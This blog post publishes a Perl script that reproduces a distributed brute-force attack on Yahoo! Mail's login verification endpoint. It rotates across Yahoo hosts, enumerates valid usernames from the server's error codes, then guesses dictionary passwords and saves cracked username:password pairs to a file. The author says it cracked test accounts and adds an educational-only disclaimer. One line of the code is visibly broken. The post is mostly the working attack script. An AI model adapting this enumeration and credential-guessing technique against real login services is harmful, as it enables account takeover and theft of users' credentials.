"Distributed Brute Force Attacks Against Yahoo! Mail", an attempt to reproduce the attack

Ryan Barnett from Breach Security posted a very detailed distributed brute force attacks against yahoo on his blog. He did a superb job on introducing the problem, analyzing the attacks and proposing defensive takeaways.

I took some time to put up a simple perl script to attempt to simulate the attack, the script is very straight forward: it reads username and password files from two separate files. Constructs a malicious url from an array of randomized Yahoo! mail hosts (current hard coded, a better way will be to retrieve the list with google hack).

Warning: This script is written for experimental/educational purpose only and share it for educational purpose. I am not responsible and liable for any destructive behavior(s).
#!/usr/bin/perl -w
use LWP;

# @TODOs:
# - Add proxy support
# - Add password cracking support for dictionary and bruteforcing
# - Add retry function when randomized IP fails
# - Threading
# Credit goes to Ryan Barnett

# List of possible Yahoo Mail IP addresses
my @ips = (
        "119.160.244.89",
        "login.bjs.yahoo.com",
        "login.india.yahoo.com",
        "209.191.92.100",
        "209.191.92.82",
        "202.86.7.118"
);

# ERROR Codes
my @err_msgs = (
        "OK:0:",
        "ERROR:101:Invalid Password",
        "ERROR:102:Invalid Login",
        "ERROR:210:Required fields missing (expected l,p)"
);

my $url = "http://".$ips[rand @ips]."/config/isp_verify_user?l=";
my $tempurl = $url;
my $browser = LWP::UserAgent->new;

# @return array of valid users that will be used to perform password cracking
sub list_username {
        open(user_dict, "username") or die "unable to open file \n";
        @usernames = <user_dict>;
        close(user_dict);
        chomp @usernames;

        @valid_users = ();
        if($#usernames >= 0){

                print "\n";
                foreach $username (@usernames){
                        #print $username."\n";
                        $url .= $username."&p=Misty";
                        #print "Trying $url";
                        my $response = $browser->get(
                                $url,
                                'User-Agent' => 'Mozilla/4.76 [en] (Win98; U)',
                                'Accept' => 'image/gif, image/x-xbitmap, image/jpeg,
                                image/pjpeg, image/png, */*',
                                'Accept-Charset' => 'iso-8859-1,*,utf-8',
                                'Accept-Language' => 'en-US'
                        );

                        # If a valid user name is found, add it into a temp array
                        if($response->status_line eq "200 OK" && $response->content=~ m/$err_msgs[1]/) {
                                print "$username exists (".$response->content. ")\n";
                                push @valid_users, $username;
                        }
                }
        }
        else{
                print "No username is found is the file";
        }
        @valid_users;
}
list_username();

sub crack_pass{
        open(pass_dict, "pass") or die "unable to open file \n";
        @passwords = ;
        close(pass_dict);
        chomp @passwords;

        # O(n^2), need to optimize the runtime
        foreach $v_u (@valid_users){
                print "\nUser $v_u:\n";
                foreach $password (@passwords){
                        $tempurl = "http://".$ips[rand @ips]."/config/isp_verify_user?cookies=1&l=".$v_u."&p=".$password;
                        print $tempurl;
                        my $response = $browser->get(
                                $tempurl,
                                'User-Agent' => 'Mozilla/4.76 [en] (Win98; U)',
                                'Accept' => 'image/gif, image/x-xbitmap, image/jpeg,
                                image/pjpeg, image/png, */*',
                                'Accept-Charset' => 'iso-8859-1,*,utf-8',
                                'Accept-Language' => 'en-US'
                        );

                        # If a valid user name is found, add it into a temp array
                        if($response->status_line eq "200 OK" && $response->content=~ m/$err_msgs[0]/){
                                print "\nCongratulations: $password is valid\n";
                                open(CREDENTIAL, '>>', "credential") or die "unable to write to file";
                                print CREDENTIAL "$v_u:$password\n";
                        }else{
                                print "\n";
                                print "Invalid Password: $password (".$response->content.")\n";
                        }
                        sleep 2;
                }
        }
}
crack_pass();

I wrote this script back in Sept 09, and successfully cracked some of the dummy accounts I created (for testing purpose). It also seems like Yahoo! has fixed the problem, so I feel safe to publish the script. Again, I don't take any legal responsibility and you are responsible for all of your actions.

^ Top of Page